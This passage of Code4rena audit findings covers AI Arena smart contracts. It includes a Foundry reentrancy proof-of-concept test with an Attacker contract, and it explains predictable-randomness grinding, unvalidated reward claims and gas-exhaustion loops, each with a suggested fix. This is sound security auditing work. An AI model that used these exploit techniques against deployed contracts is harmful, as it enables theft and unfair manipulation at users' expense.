function testReentrancy() public { Attacker attacker = new Attacker(address(_mergingPoolContract)); _mintFromMergingPool(address(attacker)); // _mintFromMergingPool(_ownerAddress); _mintFromMergingPool(_DELEGATED_ADDRESS); assertEq(_fighterFarmContract.ownerOf(0), address(attacker)); assertEq(_fighterFarmContract.ownerOf(1), _DELEGATED_ADDRESS); uint256[] memory _winners = new uint256[](2); _winners[0] = 0; _winners[1] = 1; // winners of roundId 0 are picked _mergingPoolContract.pickWinner(_winners); assertEq(_mergingPoolContract.isSelectionComplete(0), true); // assertEq(_mergingPoolContract.winnerAddresses(0, 0) == _ownerAddress, true); // winner matches ownerOf tokenId // assertEq(_mergingPoolContract.winnerAddresses(0, 1) == _DELEGATED_ADDRESS, true); string[] memory _modelURIs = new string[](4); _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; _modelURIs[2] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; _modelURIs[3] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; string[] memory _modelTypes = new string[](4); _modelTypes[0] = "original"; _modelTypes[1] = "original"; _modelTypes[2] = "original"; _modelTypes[3] = "original"; uint256[2][] memory _customAttributes = new uint256[2][](4); _customAttributes[0][0] = uint256(1); _customAttributes[0][1] = uint256(80); _customAttributes[1][0] = uint256(1); _customAttributes[1][1] = uint256(80); _customAttributes[2][0] = uint256(1); _customAttributes[2][1] = uint256(80); _customAttributes[3][0] = uint256(1); _customAttributes[3][1] = uint256(80); // winners of roundId 1 are picked _mergingPoolContract.pickWinner(_winners); // winners of roundId 2 are picked _mergingPoolContract.pickWinner(_winners); vm.startPrank(address(attacker)); uint256 balance = _fighterFarmContract.balanceOf(address(attacker)); console.log("balance before:", balance); // winner claims rewards for previous roundIds _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes); balance = _fighterFarmContract.balanceOf(address(attacker)); console.log("balance after:", balance); // @audit it should be 4 instead of 7 assertEq(balance, 7); }
Run the test with this command
forge test -vv --mt testReentrancy
Foundry
Use Openzeppelin ReentrancyGuard
+import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; -contract MergingPool { +contract MergingPool is ReentrancyGuard{ function claimRewards( string[] calldata modelURIs, string[] calldata modelTypes, uint256[2][] calldata customAttributes ) - external + external nonReentrant {
Reentrancy
#0 - c4-pre-sort
2024-02-22T09:16:48Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T09:16:56Z
raymondfam marked the issue as duplicate of #37
#2 - c4-judge
2024-03-07T02:44:33Z
HickupHH3 marked the issue as satisfactory
🌟 Selected for report: ktg
Also found by: 0xCiphky, 0xDetermination, 0xRiO, 0xWallSecurity, 0xlemon, 0xvj, AlexCzm, BARW, Blank_Space, Draiakoo, FloatingPragma, Giorgio, Matue, McToady, MrPotatoMagic, Silvermist, SpicyMeatball, Tendency, Topmark, Tumelo_Crypto, _eperezok, agadzhalov, ahmedaghadi, alexxander, aslanbek, cats, d3e4, denzi_, dutra, evmboi32, fnanni, givn, handsomegiraffe, haxatron, immeas, juancito, ke1caM, kiqo, klau5, krikolkk, niser93, peter, petro_1912, pkqs90, rspadi, sl1, stakog, visualbits, vnavascues, yotov721
1.876 USDC - $1.88
Because the custom attributes and merging pool claim rewards can be set freely by the user the user can choose the wait and the element for the new fighter. This allows him to claim a different maybe better fighter than he originally won.
Users can win new fighters by sending some of the points they won in a battle to the merging pool. At the end of each round a couple of winners are chosen who can then mint new fighters. To mint new fighters, the user needs to call the function clameRewards
and provide the modelURI
the modelType
and the custom attributes for the new fighter. Because there is no check if the user provided the right inputs when calling the function, the custom attributes can be set freely by the user. Those custom attributes represent the element and the weight of the new fighter. Since those two values determine all of the fighter’s skills, allowing the user to set them freely should not be possible.
Consider implementing a merkle tree for each round where the leaves are a hash of the relevant values of the fighter a user is supposed to claim (modelURIs, modelType, customAttributes, claimer, roundID when the fighter was won). This way the user can only claim his new fighter when he provides the right values.
Invalid Validation
#0 - c4-pre-sort
2024-02-24T08:59:58Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-24T09:00:08Z
raymondfam marked the issue as duplicate of #226
#2 - c4-judge
2024-03-11T10:25:19Z
HickupHH3 marked the issue as satisfactory
🌟 Selected for report: ahmedaghadi
Also found by: 0x13, 0xAleko, 0xDetermination, 0xKowalski, 0xPluto, 0xRiO, 0xvj, AlexCzm, Avci, BARW, BigVeezus, Cryptor, DeFiHackLabs, Draiakoo, Fitro, Giorgio, GoSlang, Greed, Honour, Kalogerone, KmanOfficial, Krace, McToady, MidgarAudits, MrPotatoMagic, Nyxaris, ReadyPlayer2, Ryonen, SovaSlava, SpicyMeatball, VAD37, _eperezok, alexzoid, almurhasan, btk, cu5t0mpeo, deadrxsezzz, djxploit, dvrkzy, emrekocak, erosjohn, evmboi32, fnanni, grearlake, inzinko, jesjupyter, jesusrod15, josephdara, ke1caM, klau5, ktg, ladboy233, merlinboii, nuthan2x, peanuts, pipidu83, pontifex, radev_sw, sl1, sobieski, soliditywala, t0x1c, taner2344, vnavascues, y4y, yovchev_yoan, zaevlad
0.2347 USDC - $0.23
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L118-L132 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L139-L167
Because the function pickWinner()
don't set numRoundsClaimed[user] = roundId
when numRoundsClaimed[user] == 0
, all new winners must loop from 0 to the current roundId
when claiming their rewards with claimRewards()
. As the number for roundID increases further and furthere this will waste a lot of GAS
, which may eventually lead to GAS_OUT
preventing picked winners to claim their rewards.
When MergePool:pickWinner()
is called, the winners for the current round are saved in winnerAddresses[roundId]
. When a user wants to claim his rewards through MeregePool:claimRewards()
, the last round the user has claimed a reward is used as the lower bound for the for loop:
uint32 lowerBound = numRoundsClaimed[msg.sender];
The loop circles through all rounds since the last round the user claimed a reward until it reaches the current roundId.
for(uint32 currentRound = lowerBound; currentRound < roundId; currentRound++)
With each new round, claiming rewards for new winners will consume more and more gas since they have to loop from 0 to the current roundId
. When the roundId
reaches a larger size, the function will result in out of gas and new winners will not be able to claim their rewards.
When picking winners in MeregePool:pickWinners
, check if the numRoundsClaimed
of the user is 0. If so, set the numRoundsClaimed[user] = roundId
.
For this to work the initial roundId
needs to be set to 1 so the winners in the first round don´t loose their price if they win again and did not claim there previous winnings.
Other
#0 - c4-pre-sort
2024-02-23T23:44:40Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-23T23:45:07Z
raymondfam marked the issue as duplicate of #1541
#2 - c4-judge
2024-03-11T13:00:27Z
HickupHH3 marked the issue as duplicate of #216
#3 - c4-judge
2024-03-11T13:08:33Z
HickupHH3 marked the issue as partial-50
#4 - c4-judge
2024-03-21T02:08:57Z
HickupHH3 marked the issue as satisfactory
🌟 Selected for report: ahmedaghadi
Also found by: 0x13, 0xAleko, 0xDetermination, 0xKowalski, 0xPluto, 0xRiO, 0xvj, AlexCzm, Avci, BARW, BigVeezus, Cryptor, DeFiHackLabs, Draiakoo, Fitro, Giorgio, GoSlang, Greed, Honour, Kalogerone, KmanOfficial, Krace, McToady, MidgarAudits, MrPotatoMagic, Nyxaris, ReadyPlayer2, Ryonen, SovaSlava, SpicyMeatball, VAD37, _eperezok, alexzoid, almurhasan, btk, cu5t0mpeo, deadrxsezzz, djxploit, dvrkzy, emrekocak, erosjohn, evmboi32, fnanni, grearlake, inzinko, jesjupyter, jesusrod15, josephdara, ke1caM, klau5, ktg, ladboy233, merlinboii, nuthan2x, peanuts, pipidu83, pontifex, radev_sw, sl1, sobieski, soliditywala, t0x1c, taner2344, vnavascues, y4y, yovchev_yoan, zaevlad
0.2347 USDC - $0.23
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L294-L311 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L244-L265
Because the function RankedBattle:stakeNRN()
don't set numRoundsClaimed[user]
to roundId
when numRoundsClaimed[user] == 0
, all new users who play for rewards for the first time must loop from 0 to the current roundId
when claiming their first NRN rewards with RankedBattle:claimNRN()
. As the number of rounds increases further and further, this will waste a lot of GAS
, which may eventually lead to GAS_OUT
, preventing new players to claim their rewards.
When RankedBattle:stakeNRN()
is called and users stake NRN for the first time to compete for rewards, the staked NRN are updated. After the round is over and a user wants to claim his rewards through RankedBattle:claimNRN()
, the last round the user has claimed NRN is used as a lower bound for a for-loop:
uint32 lowerBound = numRoundsClaimed[msg.sender];
The loop circles through all rounds since the last round the user claimed NRN until it reaches the current roundId:
for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++)
With each new round, claiming rewards for new players will consume more and more gas since they have to loop from 0 to the current roundId
. When the roundId
reaches a larger size, the function will result in out of gas and new winners will not be able to claim their NRN rewards, practically disincentivising new players to enter the game.
When staking NRN in RankedBattle:stakeNRN()
, check if the numRoundsClaimed
of the user is 0. If so, set the numRoundsClaimed[user] = roundId
.
For this to work the initial roundId
needs to be set to 1 so the rewards in the first round do not get lost if the player forgets to claim them before staking NRN again.
Loop
#0 - c4-pre-sort
2024-02-25T02:22:11Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-25T02:22:47Z
raymondfam marked the issue as duplicate of #1541
#2 - c4-judge
2024-03-11T13:00:29Z
HickupHH3 marked the issue as duplicate of #216
#3 - c4-judge
2024-03-12T02:41:09Z
HickupHH3 marked the issue as partial-50
#4 - c4-judge
2024-03-21T02:09:06Z
HickupHH3 marked the issue as satisfactory
🌟 Selected for report: klau5
Also found by: 0rpse, 0xBinChook, 0xDetermination, 0xGreyWolf, 0xLogos, 0xWallSecurity, 0xaghas, 0xgrbr, 0xkaju, 0xlyov, AlexCzm, BARW, Blank_Space, BoRonGod, Daniel526, DanielArmstrong, Draiakoo, FloatingPragma, Giorgio, Greed, Jorgect, Matue, McToady, MidgarAudits, Nyxaris, PUSH0, PedroZurdo, Pelz, PoeAudits, Silvermist, SpicyMeatball, Tekken, Tricko, Tumelo_Crypto, VAD37, WoolCentaur, Zac, alexzoid, andywer, aslanbek, bgsmallerbear, cats, d3e4, desaperh, dimulski, dutra, erosjohn, evmboi32, favelanky, fnanni, forkforkdog, gesha17, givn, grearlake, haxatron, honey-k12, iamandreiski, immeas, juancito, kaveyjoe, ke1caM, kiqo, klau5, korok, lil_eth, lsaudit, n0kto, ni8mare, niser93, pa6kuda, peanuts, peter, shaka, sl1, soliditywala, solmaxis69, t0x1c, tallo, thank_you, tpiliposian, visualbits, vnavascues, web3pwn, yotov721
0.0352 USDC - $0.04
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370-L391 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L462-L474 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/AiArenaHelper.sol#L83-L121
If a user is not satisfied with the minting result of his fighter, he can “reRoll” the fighter and get all new stats (element, weight, physical appearance). The issue is that all those stats are calculated deterministically based on the variable DNA. Since the variable DNA is calculated using the msg.sender
, the tokenId
and the number of rerolls a token already had, the user can pre calculate the DNA and therefor the result of the reroll. Since he can influence the msg.sender
by transferring the fighter to an other address, he can chose the new stats he wants and create them by rerolling from an address that provides the required DNA.
When a user calls FighterFarm:reroll()
to reroll his fighter, the DNA is determined by encoding and hashing msg.sender, the tokenID and the number of rerolls of the tokenID and then casting it into a uint256:
uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
This DNA is then used to determine the new weight and element as well as the new physical attributes of the fighter.
The problem is that the calculation of the stats mentioned above are based on deterministic formulars which components are visible in the code or can be extracted from the block chain. Following as an example the formulars for the element and the weight:
uint256 element = dna % numElements[generation[fighterType]];
uint256 weight = dna % 31 + 65;
Since the user can influence the msg.sender
which is part of the calculation of the DNA, he can reverse engineer the address needed for a specific outcome he wants, send the fighter to this address and do the reroll from there. Since all formulars used to determine the final specs use a remainder and the biggest divider for this is 100, 1 out of 100 addresses will work. Creating the right address is therefore not that hard and is not connected to any cost since one can create new addresses for free.
This puts tech savvy users in a big advantage compared to normal users who did not read the code of the smart contract.
Manual review
To fix this issue and make the reroll of fighters fairer and truly randome consider using a truly random oracle like the LINK VRF to generate a random DNA that is then used for the calculation of the new fighter stats.
Other
#0 - c4-pre-sort
2024-02-24T01:31:30Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-24T01:31:39Z
raymondfam marked the issue as duplicate of #53
#2 - c4-judge
2024-03-06T03:48:15Z
HickupHH3 marked the issue as satisfactory
#3 - c4-judge
2024-03-15T02:10:54Z
HickupHH3 changed the severity to 2 (Med Risk)
#4 - c4-judge
2024-03-20T01:04:17Z
HickupHH3 marked the issue as duplicate of #376
🌟 Selected for report: klau5
Also found by: 0rpse, 0xBinChook, 0xDetermination, 0xGreyWolf, 0xLogos, 0xWallSecurity, 0xaghas, 0xgrbr, 0xkaju, 0xlyov, AlexCzm, BARW, Blank_Space, BoRonGod, Daniel526, DanielArmstrong, Draiakoo, FloatingPragma, Giorgio, Greed, Jorgect, Matue, McToady, MidgarAudits, Nyxaris, PUSH0, PedroZurdo, Pelz, PoeAudits, Silvermist, SpicyMeatball, Tekken, Tricko, Tumelo_Crypto, VAD37, WoolCentaur, Zac, alexzoid, andywer, aslanbek, bgsmallerbear, cats, d3e4, desaperh, dimulski, dutra, erosjohn, evmboi32, favelanky, fnanni, forkforkdog, gesha17, givn, grearlake, haxatron, honey-k12, iamandreiski, immeas, juancito, kaveyjoe, ke1caM, kiqo, klau5, korok, lil_eth, lsaudit, n0kto, ni8mare, niser93, pa6kuda, peanuts, peter, shaka, sl1, soliditywala, solmaxis69, t0x1c, tallo, thank_you, tpiliposian, visualbits, vnavascues, web3pwn, yotov721
0.0352 USDC - $0.04
If a user wins a fighter from the mergPool
he can claim it by calling MergePool:claimRewards
which will call FighterFarm:mintFromMeregingPool
. This function will create a new fighter with stats depending on the DNA variable. The issue is that the DNA is calculated using the msg.sender
(which will always be the mergePool address) and the number of existing fighters. This means the user can pre calculate the DNA and therefor the resulting stats of the new fighter. He therefore can chose the new stats he wants, calculate the DNA he needs for them and thereby determine the number of fighters there need to be at the moment of mint. By now timing the mint of his fighter right he can get exactly the stat he wants.
When FighterFarm:mintFromMeregingPool
is called, the DNA that determines the fighters attributes is calculated by using msg.sender
and the number of existing fighters:
uint256(keccak256(abi.encode(msg.sender, fighters.length))),
This DNA is then used to determine the new weight and element as well as the new physical attributes of the fighter.
The problem is that the calculation of the stats mentioned above are based on deterministic formulars which components are visible in the code or can be extracted from the blockchain. Following as an example the formulars for the element and the weight:
uint256 element = dna % numElements[generation[fighterType]];
uint256 weight = dna % 31 + 65;
Since the msg.sender
will always be the MergePoolAddress
and the user can influence the fighters.length
, which is part of the calculation of the DNA, by timing his mint right, he can reverse engineer the fighters.length
needed for a specific outcome he wants, wait until the number of fighters are present and mint his fighter then.
Manual review
To fix this issue and make the creation of new fighters from the mergePool fairer and truly randome consider using a truly random oracle like the LINK VRF to generate a random DNA that is then used for the calculation of the new fighter stats.
Timing
#0 - c4-pre-sort
2024-02-24T01:32:06Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-24T01:32:13Z
raymondfam marked the issue as duplicate of #53
#2 - c4-judge
2024-03-06T03:48:44Z
HickupHH3 marked the issue as satisfactory
#3 - c4-judge
2024-03-06T03:49:26Z
HickupHH3 changed the severity to 3 (High Risk)
#4 - c4-judge
2024-03-15T02:10:54Z
HickupHH3 changed the severity to 2 (Med Risk)
#5 - c4-judge
2024-03-20T01:04:18Z
HickupHH3 marked the issue as duplicate of #376
🌟 Selected for report: klau5
Also found by: 0rpse, 0xBinChook, 0xDetermination, 0xGreyWolf, 0xLogos, 0xWallSecurity, 0xaghas, 0xgrbr, 0xkaju, 0xlyov, AlexCzm, BARW, Blank_Space, BoRonGod, Daniel526, DanielArmstrong, Draiakoo, FloatingPragma, Giorgio, Greed, Jorgect, Matue, McToady, MidgarAudits, Nyxaris, PUSH0, PedroZurdo, Pelz, PoeAudits, Silvermist, SpicyMeatball, Tekken, Tricko, Tumelo_Crypto, VAD37, WoolCentaur, Zac, alexzoid, andywer, aslanbek, bgsmallerbear, cats, d3e4, desaperh, dimulski, dutra, erosjohn, evmboi32, favelanky, fnanni, forkforkdog, gesha17, givn, grearlake, haxatron, honey-k12, iamandreiski, immeas, juancito, kaveyjoe, ke1caM, kiqo, klau5, korok, lil_eth, lsaudit, n0kto, ni8mare, niser93, pa6kuda, peanuts, peter, shaka, sl1, soliditywala, solmaxis69, t0x1c, tallo, thank_you, tpiliposian, visualbits, vnavascues, web3pwn, yotov721
0.0352 USDC - $0.04
If a user gets new fighters he can claim them by calling FighterFarm:claimFighters()
which will create a new fighter with stats depending on the DNA. The issue is that the DNA is calculated using the msg.sender
(which will always be the user address) and the number of existing fighters. This means the user can pre calculate the DNA and therefor the resulting stats of the new fighter. He therefore can choose the new stats he wants, calculate the DNA he needs for them and thereby determine the number of fighters there need to be at the moment of mint. By now timing the mint of his fighter right he can get exactly the stat he wants.
When FighterFarm:claimFightres
is called, the DNA that determines the fighters attributes is calculated by using msg.sender and the number of existing fighters:
uint256(keccak256(abi.encode(msg.sender, fighters.length))),
This DNA is then used to determine the new weight and element as well as the new physical attributes of the fighter.
The problem is that the calculation of the stats mentioned above are based on deterministic formulars which components are visible in the code or can be extracted from the blockchain. Following as an example the formulars for the element and the weight:
uint256 element = dna % numElements[generation[fighterType]];
uint256 weight = dna % 31 + 65;
Since the msg.sender
will always be the users address and the user can influence the fighters.length
which is part of the calculation of the DNA by timing his mint right, he can reverse engineer the fighters.length
needed for a specific outcome he wants, wait until the number of fighters are present and mint his fighter than.
Manual review
To fix this issue and make the creation of new fighters from the function claimFighters
fairer and truly random, consider using a truly random oracle like the LINK VRF to generate a random DNA that is then used for the calculation of the new fighter stats.
Timing
#0 - c4-pre-sort
2024-02-24T01:32:27Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-24T01:32:34Z
raymondfam marked the issue as duplicate of #53
#2 - c4-judge
2024-03-06T03:48:47Z
HickupHH3 marked the issue as satisfactory
#3 - c4-judge
2024-03-06T03:49:26Z
HickupHH3 changed the severity to 3 (High Risk)
#4 - c4-judge
2024-03-20T01:04:19Z
HickupHH3 marked the issue as duplicate of #376
🌟 Selected for report: haxatron
Also found by: BARW, DanielArmstrong, fnanni, juancito
2436.0656 USDC - $2,436.07
The function AiArenaHelper:dnaToIndex()
which converts a rarityRank
to an attributeIndex
is currently implemented wrongly and changes the intended probabilities for the body part variations. The result is that the first probability is 1% higher and the last probability is 1% lower than intended. This can result in a part that should have a probability of 1% and is last in the list to never be minted.
When creating the physical appearance of a new fighter, his DAN is used to determine the rarityRank
of each body part (a number between 0 and 99). This rarityRank
is then used in combination with the globally saves attributeProbabilities
to determine the attributeProbabilityIndex
for each part. Those attributeProbabilityIndexes
represent a specific part variation, eg. “blue eyes” or “green eyes” and start with the index 1. The attributeProbabilities
sum up to 100 and represent the probability a specific part will be minted.
The issue arises from the fact that the potential rarityRank
for a part is a number between 0 and 99 but the current implementation expects a number between 1 and 100:
uint8[] memory attrProbabilities = getAttributeProbabilities(generation, attribute); uint256 cumProb = 0; uint256 attrProbabilitiesLength = attrProbabilities.length; for (uint8 i = 0; i < attrProbabilitiesLength; i++) { cumProb += attrProbabilities[i]; if (cumProb >= rarityRank) { attributeProbabilityIndex = i + 1; break; } } return attributeProbabilityIndex; }
Following an example to illustrate the change in probabilities:
The first probability in the attrProbabilities
array is 1 meaning that there should only be a 1% chance (1 value for rarityRank
) that rarityRank
"hits" this index.
For the first loop:
cumProb += attrProbabilities[i] = 0 + 1 = 1
Two values for rarityRank
(0 and 1) satisfy the next check ( if (cumProb >= rarityRank)
) making the probability 2% not 1%.
On the other hand, if the last probability is 1 and the cumProb
totals 100, there is no number between 0 and 99 that satisfies the check if (cumProb >= rarityRank)
since the possible values are only between 0 and 99.
=> Result: the current implementation increases the first probability by 1% and decreases the last probability by 1%. In the worst case this can result in a part never to be minted if it is supposed to have a 1% chance to be minted and is last in the row of probabilities.
Make the variable cumProb
an int256
instead of an uint256
and initiate it to -1
int256 cumProb = -1;
Math
#0 - c4-pre-sort
2024-02-24T03:45:24Z
raymondfam marked the issue as duplicate of #15
#1 - c4-judge
2024-03-05T03:21:04Z
HickupHH3 changed the severity to 2 (Med Risk)
#2 - c4-judge
2024-03-05T03:40:23Z
HickupHH3 marked the issue as satisfactory
#3 - c4-judge
2024-03-05T03:46:04Z
HickupHH3 marked the issue as not a duplicate
#4 - c4-judge
2024-03-05T03:46:11Z
HickupHH3 marked the issue as duplicate of #112
🌟 Selected for report: givn
Also found by: 0x11singh99, 0xAkira, 0xBinChook, 0xDetermination, 0xMosh, 0xStriker, 0xmystery, 14si2o_Flint, 7ashraf, Aamir, AlexCzm, BARW, Bauchibred, BenasVol, BigVeezus, Blank_Space, Bube, DarkTower, DeFiHackLabs, EagleSecurity, KmanOfficial, Krace, McToady, MrPotatoMagic, PetarTolev, Rolezn, SHA_256, SpicyMeatball, Tekken, Timenov, ZanyBonzy, agadzhalov, alexzoid, boredpukar, btk, cartlex_, dimulski, forkforkdog, haxatron, immeas, jesjupyter, juancito, kartik_giri_47538, klau5, lsaudit, merlinboii, nuthan2x, offside0011, oualidpro, peter, radev_sw, rekxor, rspadi, shaflow2, shaka, swizz, vnavascues, yotov721, yovchev_yoan
8.8123 USDC - $8.81
Not being able to adjust key parameters of the GameItems
reduces the flexibility of the developer team and can lead to problems down the road that can not be fixed by creating a new item.
In the contract gameItems
the owner of the contract can create new items that can be used within the game. Those items have the following attributes:
name
=> name of the Item
finiteSupply
=> if the number of items that can be minted is limited or not
transferable
=> if this item can be transferred to another user
itemsRemaining
=> remaining items if the supply is finite
itemPrice
=> price to pay for minting this item
dailyAllowance
=> amount of items a user can mint per day
Once the item is created only the parameter transferable
can be changed by calling adjustTransferability
. All other attributes can not be changed because there is now function implemented for this.
The missing possibility to change the other attributes reduces the flexibility of the developers and can lead to problems down the road. For example, if the token price for the NRN token increases significantly, lets say to 1 USD, the current price for a battery of 10 NRN might not be realistic any more but it could never be changed. One could just create a new item with a lower price but since the item ID for batteries is hard coded in e.g. the voltageManager
contract this would require redeploying a new version of this contract with all the complications connected with this.
Consider implementing functions to adjust the other game item parameters.
Other
#0 - c4-pre-sort
2024-02-25T09:19:20Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-25T09:19:24Z
raymondfam marked the issue as primary issue
#2 - raymondfam
2024-02-25T09:20:01Z
Informational low QA.
#3 - HickupHH3
2024-03-15T06:55:28Z
QA(R)
#4 - c4-judge
2024-03-15T06:55:36Z
HickupHH3 changed the severity to QA (Quality Assurance)